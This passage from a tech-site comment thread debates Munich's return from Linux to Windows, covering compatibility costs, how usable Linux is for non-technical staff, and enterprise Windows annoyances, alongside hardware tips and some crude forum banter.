      They would have had to pay for the development (probably JUST for them), then purchase 30,000 licences for software they already own to begin with as well as potentially having similar issues with software moving forwards and having to do it over and over again where they "have" to use the same program as other councils and government bodies they have to exchange information with as the tail wagging the dog NEVER makes sense

      Whereas just giving up their attempt to be an outsider and moving back to windows to avoid all of THAT extra expense and messing about solves the problem once and for all

      So either way there is going to be a large cost, but going back to windows makes it a one off cost instead of a large one off cost now then other smaller ones moving forwards each time they "need" to use another or newer windows only program

      Alternatively, they should have just bought some reclaimed windows 7 licences (30,000) of them and done the free upgrade when they had the chance

      Much smarter AND cheaper

    3. vincent himpe

      Re: Hmmmmm

      But why do you want to pay someone to rewrite all that stuff in the first place ?

      Just cause we changed cars ( the operating system is just a vehicle to run applications. it should do that and otherwise get out of the way ) we need to learn how to drive again , we need all new roads , our parking space doesn't work.

      Here is a hypothetical question : if all the effort that was poured into making Linux was poured into writing an operating system that could run existing windows/dos binaries ... Now that would be great !

      An open source system where anyone who wants to tinker, can tinker, and anyone who just wants to run software he has already bought , can just do that.

      why does linux need to be so radically different ? (from an application running perspective )

      You can do all you want under the hood. i don't care. I am not a coder. a computer for me is like a box of screwdrivers. I use it to get work done. I do not design screwdrivers , nor screws nor do i want to change the color and shape of the handles ever 2 months or bicker if chrome vanadium is better than titanium tipped ones.

      Think about it: the best of both worlds : an open source ecosystem where everyone can be happy. Existing software vendors don't have to change anything, existing user don't have to relearn. And everything becomes available to everyone. The world just gets larger. Wine attempts that , but to a limit. There are many things that do not work properly under wine. And it is again another layer...

  48. Fruit and Nutcase Silver badge
    Joke

    Munich, the home of BMW

    Buy More Windows

  49. Anonymous Coward
    Anonymous Coward

    Sad day, the Germans are smarter than this surely?

    This is so political. The decision is all Microsoft, the Mayor and their 'friends'. If Ireland did this, you could throw your eyes to heaven and not be surprised as Ireland is corporate America's bitch! ... But Germany?!

    Plus the survey of 800 or so apps... In the survey, did they 'weight' the use of the apps at all... Could a handful actually suffice 80-90% of the time etc?

    1. elgarak1

      Re: Sad day, the Germans are smarter than this surely?

      Munich is Bavaria.

      Sure, it's part of Germany, but ...

  50. Unicornpiss Silver badge
    Unhappy

    "IT issues are normal regardless of operating system"

    Oh, but you haven't had stupid issues until you've run Windows in an Enterprise environment.

    I have to admit, Active Directory is a jewel that works pretty well, and things do interoperate. But Windows also nags you, lags your machine, and markets to you, even when you've already paid for it. I don't wish Munich's government bad things, but I do hope they live to regret their decision a bit, especially when it hits their wallet.

    1. Anonymous Coward
      Anonymous Coward

      Re: "IT issues are normal regardless of operating system"

      "run Windows in an Enterprise environment."

      "But Windows also nags you, lags your machine, and markets to you, even when you've already paid for it."

      None of those things apply to enterprise Windows versions.

      1. Unicornpiss Silver badge
        Meh

        Re: "IT issues are normal regardless of operating system"

        "None of those things apply to Enterprise Windows versions."

        I very much beg to differ. I have been supporting Windows and Linux devices of many flavors in Enterprise environments for the last 15 years. Yes, you can damp some of it down with policy. But just stupid things like the appearance of the Windows Store icon in Office, unsolicited, after a recent update. Annoying nags like "Add a photo for that personal touch!" in Skype. The "Paid Wifi and Cellular" icon (and others) on the Win10 menu. I can cite more examples to the point of exhaustion, but do I have to?

        1. Anonymous Coward
          Anonymous Coward

          Re: "IT issues are normal regardless of operating system"

          "things like the appearance of the Windows Store icon in Office"

          Which isn't an enterprise windows version.

          "Annoying nags like "Add a photo for that personal touch!" in Skype."

          See above.

          "The "Paid Wifi and Cellular" icon"

          Not present on Windows 10 Enterprise RTM default install or any update release.

          "I can cite more examples to the point of exhaustion, but do I have to?"

          Yes as none of the above are valid examples.

      2. nijam

        Re: "IT issues are normal regardless of operating system"

        > None of those things apply to enterprise Windows versions

        Oh they do, they really really do.

  51. veti Silver badge

    I can believe 800 programs.

    Munich is a big place. I don't know what the specific responsibilities of its city government are, but I wouldn't be surprised if they include everything from policing to water quality to arts galleries to education to public transport, public health, parks, sports, dog registration, air quality, tourism, rubbish collection, libraries, cemeteries, city planning, housing, social services, animal welfare, food safety, roads and signposting, traffic management, taxis, land registration, civil defence, elections, and probably at least as many more things I haven't thought of. To say nothing of "reporting on all of the above to state and federal gov't".

    Not having worked in any of those areas, I'm not remotely qualified to know what systems they may involve. But I would guess each of the above departments uses at least 2-3 separate databases that are developed specifically for Windows, and simply not supported on any other platform. Plus a dozen more applications I can barely even imagine.

    This is what open-source zealots too often fail to account for. The world is complicated. Millions of developer-years have gone into building the systems that maintain everything around us. You can't redo all that just by waving your hands and saying "all you have to do is this" - somebody actually needs to put in several metric fucktonnes of work to make it so.

    Now Munich has said, they're not going to be the ones to pay for that effort. And I don't blame them.

    1. Unicornpiss Silver badge
      Meh

      I totally agree with you, however...

      (There had to be a "but", right?)

      Microsoft also abandons its own users. Win 7 had "XP Mode", which was a nice gesture, if even more flaky than a real Win XP installation. We installed it, and (better) emulators like DOSBox to support ancient apps that no one was willing to upgrade. Then 8 came along and goodbye even more compatibility. Now 10, and even some apps that worked with 7 are flaking out a bit. I know no OS purveyor can support everyone forever. But there are utilities like Wine, DOSBox and the like, plus virtualization as needed. I suspect that someone just made the decision makers in Munich a great deal and the blood is still tacky on the contract.

    2. grumpy-old-person

      Millions of developer years?

      We are in a sad place if millions of developer years has produced Windows

  52. Ubermik

    I cant see what so many people are getting so "huffy" about tbh

    Yes it would be "nice" for Linux to be a real alternative to windows, but for the most part its not, ideology is "nice" when having a discussion or writing a novel, but the rest of the time reality is (or should be) king, and what "would" be nice is irrelevant, what can be done, what is practical and what makes sense aren't though

    It would be "nice" to be able to fly unaided, but the sensible thing to do is to realise you can rather than jumping off of things over and over again and complaining when you merely plummet to the ground.

    This is akin to a company deciding they didn't like the metric system, sticking with imperial measurements and threads and then complaining that every other company is incompatible with THEM

    The reality is that despite decades of work Linux is "maybe" as user friendly as perhaps windows 98 for a non technical user as a desktop OS with the best distros and more like reverting to windows NT4 with the worst ones, and telling normal users they "should" expend hundreds of hours learning to become a Linux guru just to be able to update and maintain their Linux distro instead of using an almost self maintaining (most of the time) windows environment is just lunacy

    Claiming that a council who has a duty of care to thousands, if not millions of people who are relying on their infrastructure working flawlessly and (where needed) being able to seamlessly exchange information with other government departments that they should stick with a restrictive environment which needs them to practically become software developers just to get basic functions to work makes lunacy seem almost sane by comparison

    The problem here isn't Microsoft, the problem here isn't the council, the problem is Linux itself not being comparable to windows on a variety of levels combined with software developers not viewing Linux as a platform worthy of their applications being at parity with their windows offerings which lets face it is most probably due to the lack of demand which in turn is the fault of the Linux community itself for not making Linux a comparable choice to windows and THEN aggressively marketing it like Microsoft have

    This whole topic gives me flashbacks to the Amiga dying. The OS was for the time excellent, far better than windows in many ways BUT, commodore decided to try and keep it as a niche market product with wallet gouging pricing for the bespoke hardware instead of porting it onto the much cheaper and far more X86 platform and just selling the OS

    Before Linux can realistically compete with windows it needs to become as good as windows in terms of ease of use, automation, self maintenance and THEN with luck the shortfalls in software availability will, over time sort itself out IF Linux can be pushed effectively to end users

    Until that happens Linux wont be a rounded choice for ANY decent enterprise which needs to have interoperability with other enterprises and no amount of trying to blame customers for wanting to purchase a fully rounded product rather than a fixer upper you have finish yourself will change a thing and Linux will remain a mainstream novelty that armchair anarchists and tech nerds use as an apathetic form of protest but which the mainstream totally ignores

    If Linux distributors want companies and councils to use Linux instead of windows they HAVE to make it integrate fully WITH windows, run all the apps you CAN run on windows and without the end user having to create their own bespoke plug ins, patches and fixes just to get basic operations to work as that's not a good foundation for either a business nor a council to rely on

    As for the cost issue, yes Microsoft shovel ware can be expensive, but its still setting the bar Linux doesn't reach yet.

    think of it like a taste test, a nutrition bar that tastes worse and which needs you to add some of the basic ingredients AFTER you bought it will never compete with a finished product that tastes nice out of the box

    It doesn't matter if the alternative is "slightly" more healthy, until its sold complete and tastes at least as good as competitor why would anyone choose to buy it?

    And in this instance I notice people talking about the cost of buying the MS products but conveniently skipping around the cost in man hours, outtages and worst case potential law suits due to incompatibility with other organisations or software

    Neither a council nor a business can afford to risk its core operations with an "almost" finished OS and patches, fixes and bodges they have to create themselves to get it to "almost" work as well as windows already does

    But show them a product that does everything windows does right out of the box that is better, faster and cheaper and THEN people will consider using it, but give them a promising beta version and don't be surprised if they decide to stick with windows until the alternative is a finished product that is comparable in every way to windows

    1. Pompous Git Silver badge

      "The reality is that despite decades of work Linux is "maybe" as user friendly as perhaps windows 98 for a non technical user as a desktop OS with the best distros and more like reverting to windows NT4 with the worst ones, and telling normal users they "should" expend hundreds of hours learning to become a Linux guru just to be able to update and maintain their Linux distro instead of using an almost self maintaining (most of the time) windows environment is just lunacy"
      No, the reality is Linux is the easier to use and maintain. Obviously you haven't spent time using a recent distro. I have. I spent 18 months using Linux Cinnamon Mint as my primary OS.

      The problem with Linux is an almost complete lack of quality desktop applications. Web browsing (Chrome), playing Civ V on Steam and using system tools were all fine. Mostly I use a word processor for writing and Libre Office worked better than recent versions of Word; it only failed when I was asked to reformat Word docs.

      Missing though were many applications I use on a regular and semi-regular basis, such as The Oxford English Dictionary or the Linux equivalents were frankly very badly designed. Very temporarily I've been using Win10 so I could learn enough fix Mrs Git's machine relatively quickly. It is as many agree, a crock of shit! I'm back to Win7 RSN for productivity and Cinnamon Mint for system maintenance stuff. If I could afford to replace my current machine with a grunty i7 it would run Mint as the primary OS and all my Win7 stuff in a VM.

      1. wallaby

        "The reality is that despite decades of work Linux is "maybe" as user friendly "

        The reality is until Linux makes its USERS friendly and not an abusive bunch of whiners who denigrate people for asking questions - It wont be taken seriously by most major corporations (just those looking to squeeze the pips regardless of whether its good for the business or not).

        1. Unicornpiss Silver badge

          Unfriendly Linux users

          I guess I'm one of those grumps. And there are a bunch of Linux Enterprise-oriented distros that are in very much mainstream use.

          But I'd have to say that USUALLY, answers abound in the Linux forums. There are some bullies and people full of themselves. Have you looked at Windows forums though?? Pointless bickering is apparently the main currency of the online world.

          At least when I go searching for an answer on a Linux forum, I can usually sort out the problem. I'm so sick of reading the stock answers on Windows forums. "Scan your PC for viruses." "Do an in-place reinstall of Windows" "Have you tried these 19 useless steps? -- Corollary: 19 users saying "None of these steps worked for me." And this after finding the first 50 or so results of your web search contain crap like "Driver Manager", "Nevergonnawork Fixit Tool", etc. Even MS's own Fixits are often pretty useless.

          FYI, I support Windows machines all day long for my day job.

          1. Kiwi Silver badge
            Pint

            Re: Unfriendly Linux users

            I'm so sick of reading the stock answers on Windows forums.

            You missed the "My computer doesn't boot, doesn't even power on when I push the button" "Oh, just do a system restore"...

            (or a number of variants... You know the ones I mean!)

            FYI, I support Windows machines all day long for my day job.

            Wish I had something stronger than a virtual beer and an offer of a shoulder to cry on...

      2. Fruit and Nutcase Silver badge
        Happy

        FAO: Mrs Git

        @Pompous Git

        If I could afford to replace my current machine with a grunty i7 it would run Mint as the primary OS and all my Win7 stuff in a VM.

        Christmas is coming up. Get the Old Git a used ThinkPad X220 i7 (look for a i7-2640M CPU @ 2.80GHz 2 core 4 thread) from fleabay. Replace HD with a SSD. Add plenty of memory (it will take 2x8GB) so VMs can be allocated a useful amount to stay responsive.

        Result: One Happy Git

        1. Pompous Git Silver badge
          Pint

          Re: FAO: Mrs Git

          @ Fruit and Nutcase

          Thanks for the advice. But will it support two Dell 27" (2560 × 1440) displays? Plenty of Samsung 850 SSDs to hand, and 16GB RAM, but where do I put the two conventional HDDs and optical drive? Cheaper methinks to go with a new MoBo/cpu. Just a bit strapped for cash until the farm's sold. Then I get my 27" Wacom digitising display and I will be a very happy Git indeed.

          1. vincent himpe

            Re: FAO: Mrs Git

            Get a used Zbook 17 instead. one with a K4000 graphics card.

            you can find em for 800$. 30$ for the docking station.

            3 displayports , 3 dvi's , one vga and one hdmi. dual drive bays, and possible to install a mPCI drive as well. on board 1920x1080 display. has optical drive ( you can find even blu-ray burners in that formfactor.) and the dock has a slot for an additional HDD and additional optical drive.

            Pump 32 gig of ram in it , two SSD's. i have mine hooked up to 3 2560x1600 displays. 4 screens in one shot. I run Solidworks, Altium Designer, Catia, Illustrator , and MS office. All at the same time. The thing doesn't even slow down. Win 7-64 Enterprise.

            I am never going back to a desktop.

          2. Fruit and Nutcase Silver badge
            Unhappy

            Re: FAO: Mrs Git

            @Pompous Git

            Thinkpad x220

            But will it support two Dell 27" (2560 × 1440) displays?

            No.

            Maximum external resolution:

            2560x1600 (DisplayPort)@60Hz

            2048x1536 (VGA)@75Hz

            1920x1200@60Hz (single-link DVI-D via cable 45J7915)

            Personal experience - dual displays @ 1280x1024

            1. Pompous Git Silver badge

              Re: FAO: Mrs Git

              @ Fruit and Nutcase and vincent himpe

              Thanks for the suggestions, but portability in a workstation is something I really don't need. My desktop machine is moved but once a year onto the deck outside my home for a thorough cleansing of dust bunnies. I'm tossing up whether to go with a decent cooler for my unlocked Core i5, or replace it with a Core i7 ~AU400 new.

              1. jake Silver badge

                Re: FAO: Mrs Git

                Your Gitness would do well to ignore the portability issue. I settled on laptops as desktops close to 20 years ago, not for portability but for compactness and low power reasons (I was living aboard a boat). Get a docking station, some extra monitors as needed (I always have a "dumb terminal" with a bash prompt alongside the GUI. Handy for all kinds of reasons.), and whatever other hardware makes you happy. Chances are fairly good that once you have the option, you'll find a reason to take your desktop along to <wherever> a couple times per year.

                Works for me, and options are good.

                1. Pompous Git Silver badge

                  Re: FAO: Mrs Git @ jake

                  "Your Gitness would do well to ignore the portability issue."
                  Portability in a workstation provides me with nil benefit. rather the reverse. I have a Zenbook that weighs a mere ~1 kg for "travel" that's largely restricted to visits to the city to see doctors. Only needed for web browsing/email and occasional game play. Even that gets left behind in favour of the Galaxy Note 3 I recently acquired. More than good enough for email now I have that via a decent web interface.

                  A portable has a screen that is arguably inferior to my two Dell 27 inchers and even my el cheapo 19". The keyboard is also redundant. For some reason I've accumulated several that are better than any laptop keyboard I've used. I have an aversion to trackpads and usually use a Verbatim bluetooth mouse with the Zenbook. Any power saving would be insufficient to recover the cost of these various redundant parts.

                  The Antec computer case to my left is on its second MoBo (both ASUS) and its second cpu. Originally a Core i3, it's currently inhabited by an unlocked Core i5. Unlike a lappy, it contains a couple of full-size hdds and an optical drive. There's plenty of room for more. When something in it dies, it's easily replaced by me. The original video adapter fan died and was replaced by a standard computer fan with the aid of a glue gun and soldering iron for example. Couldn't source the type of fan that came with the adapter.

                  Yes, there are plenty of use cases for portable workstations, but I'm really not a candidate. The arthritis bites so I'll not travel much beyond Hobart from this point on. Last trip airport security insisted I go through the checkpoint without my shoes, or walking cane. I slipped on the tile floor, badly bruising my hip and elbow. Previous trip a passenger at Sydney airport kicked my legs out from under me. I ache enough already without that kind of shit happening.

    2. AJ MacLeod

      @ubermik

      Can you expand a little on which version of Windows is actually finished and ready for corporate use by clueless non-technical users? Windows 8, maybe? or 8.1? MS deposited an OS on non-technical users that looked completely different to anything they'd used before, dumped people into full screen apps with no visible way of getting out, etc etc etc. Now we have 10 - but which version of 10 is that? It's never finished either, always in flux.

      There's nothing particularly good about Windows in this kind of environment, any more than there is anything particularly bad about Linux (which it's plain you don't really have any significant experience with.)

      I support SMEs running both (and a few using OSX) and I can assure you I spend far less time per week supporting the ones using Linux on the desktop. Yep, they run whole companies with Linux on their desktop - companies whose business is nothing to do with computing, whose users are as ordinary and non-techy as you can find. Do you know what? It doesn't matter. After being shown how to open a web browser, word processor, spreadsheet and email client, 90% of their training is done.

  53. User-1

    "we're going full Windows in 2020"

    Dude, don't you keep up with the times????? In 2020 it's going to be Google's OS running the world! Their OS is gonna run on any CDC 6000s, all Crays and just about anything IBM has. Not to mention your little home computer, be it Apple, or any microcomputer. Heck even MS is going to debate going Google!

  54. wallaby

    Jeeeezzzzzzzzzzzzzzzzz

    WHINERS

    They chose it, its naff all to do with you

    GET OVER IT !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

    Its the bloody whiners that put me off Linux

    1. anonymous boring coward Silver badge

      Re: Jeeeezzzzzzzzzzzzzzzzz

      Brexiter?

      1. James Hughes 1

        Re: Jeeeezzzzzzzzzzzzzzzzz

        I'd go for whining twat, but that's just me, a happy desktop/embedded Linux user/developer, who occasionally uses Windows as well.

      2. wallaby

        Re: Jeeeezzzzzzzzzzzzzzzzz

        "Brexiter?"

        No chance, I'm not a racist little englander

        1. wallaby

          Re: Jeeeezzzzzzzzzzzzzzzzz

          Ohh 5 brexiteers didn't like that

          1. Kiwi Silver badge
            Big Brother

            Re: Jeeeezzzzzzzzzzzzzzzzz

            "1 thumb up & 5 thumbs down" At the time of writing

            apparently in the 21st century people aren't allowed choice according to some,

            So.... you'd want us to not have the choice to downvote people?

            To quote the old advert... "Ozzies. No surprises there."

            </troll>

            1. wallaby

              Re: Jeeeezzzzzzzzzzzzzzzzz

              I was living with an Ozzie once

              Never again

              1. Kiwi Silver badge

                Re: Jeeeezzzzzzzzzzzzzzzzz

                I was living with an Ozzie once

                Never again

                Well.. Given the name.. and the complaining.. What's a man to think?

                But you're lucky, you only lived with one (and chose a very ozzie name?) - I have it in the blood :(

              2. Pompous Git Silver badge

                Re: Jeeeezzzzzzzzzzzzzzzzz

                "I was living with an Ozzie once

                Never again"

                Aah diddums... I've been living with mine for 37 years come the end of this month. I just don't seem to be able to stop myself falling in love with her every day. Not that I've tried...

  55. The Vociferous Time Waster

    Next year...

    Next year is the year of Linux on the desktop.

  56. Matthew Taylor
    Coat

    A modest proposal...

    Another possibility, that I'm sure everyone here will be happy to consider, is that perhaps Linux is not as good or usable as Windows in an environment consisting mostly of non-technical people.

    I'll get my asbestos-lined coat.

    1. jake Silver badge

      Re: A modest proposal...

      I put Slackware on everything, including my techno-phobe Mom & techno-can't GreatAunt's computers (80 years old & 106 years young, respectively). Both happily surf the Web, do email, use a word processor, print documents, scan old photos, retrieve pictures from their cameras, etc.

      The only real issue with any given Linux distribution is whether or not the installer understands the needs and issues of the intended end-user, followed by whether or not the installer understands the hardware the distribution is intended to be installed upon.

      Said installer might be software, but in most cases it should include a wetware vector ... This includes any OS distribution, not just GNU/Linux.

      Mom & GreatAunt's "help, please" phone calls have dropped from several times per month each to one total in the last couple of years ... and that was to install a new printer for Mom. To be fair, I'd have been called in for that regardless of OS; she's afraid to plug anything new into the computer by herself. Now, when I visit it's for tea, not tech help. Which is a much nicer state of affairs, don't you think?

      Now if I could only get them to call it Linux instead of "that version of Windows that jake gave me". ::sighs:: One hill at a time.

      1. Kiwi Silver badge
        Linux

        Re: A modest proposal...

        Now, when I visit it's for tea, not tech help. Which is a much nicer state of affairs, don't you think?

        [waves hand in the air] Oh oh oh teacher! Me me me me! The one where you spend your time locked away from family as their computer gives one stupid fault after another!

        I know exactly what you refer to here Mr Jake, as I have the same with my family. I see more of them, and see them more often. I used stress about passing the area and found lots of excuses to drive straight through, rather than spend hours bogged down with a stupid error on a stupid OS.

        Instead I visit, we chat, have a coffee, I might do a little bit of tech stuff but it's stuff like showing how to organise bookmarks into folders or setting a new email filter (and as they'd be using the same browser/mail program regardless of OS it's all the same) - 2 minute stuff. Or maybe start the update ball rolling for one oldie who's still afraid to do it despite over a year of no issues (wonder where he learned to fear updates.. was the same OS that taught him to fear computers and the online world, name starts with W...)

        I love seeing that little bit of light come back into their eyes as, after installing Linux, these people just find their computers so easy and enjoyable to use. Sadly, I am largely out of oldies to convert. Must find some more...

    2. Unicornpiss Silver badge

      Re: A modest proposal...

      "Another possibility, that I'm sure everyone here will be happy to consider, is that perhaps Linux is not as good or usable as Windows in an environment consisting mostly of non-technical people."

      I'm mostly in agreement with the poster who said "Once you show people how to open their web browser, email, spreadsheets, your training is mostly done" (to paraphrase) So unless you're leaving your users to support their own equipment, where is the problem? Using Mint running Cinnamon desktop as an example, you have icons, a "start" menu that's intelligently laid out, support for multiple monitors, and tons of office and other productivity apps.

      What you don't have is the fairly useful but double-edged sword of SharePoint, the one that will get most of the chopping job done, then the handle comes off and you drop it through your foot. And domain authentication and Samba can certainly be made to interoperate with Linux, but it's a bit more of a chore and without big brother's tech dept. to support you when it's not cooperating. There also is a bit less functionality in Libre Office than the real deal, but (admittedly subjective) I certainly haven't seen Libre Office just hang with no clue given to what it's doing, as I often see with MS. I also routinely rescue Office docs that Microsoft's products can no longer open for whatever reason using Libre Office, then resaving them. I would say Libre is a bit more stable overall, if not as polished.

      Another concern is even in this day and age, a lot of business software just won't run on Linux (as has been pointed out), and a lot of web-based stuff still isn't supported properly in anything but IE, often because the app looks at the browser string and goes "nope!" even though changing the reported browser will allow it to run. (Amazon streaming video comes to mind, though not an Enterprise app)

    3. nijam

      Re: A modest proposal...

      > ...I'm sure everyone here will be happy to consider, is that perhaps Linux is not as good or usable as Windows in an environment consisting mostly of non-technical people

      Hmmm, well, seems implausible on the basis of my experience with non-technical people.

  57. anonymous boring coward Silver badge

    All eggs in one basket is always the best choice.

    Also, it's never wrong to tie yourself to a single vendor.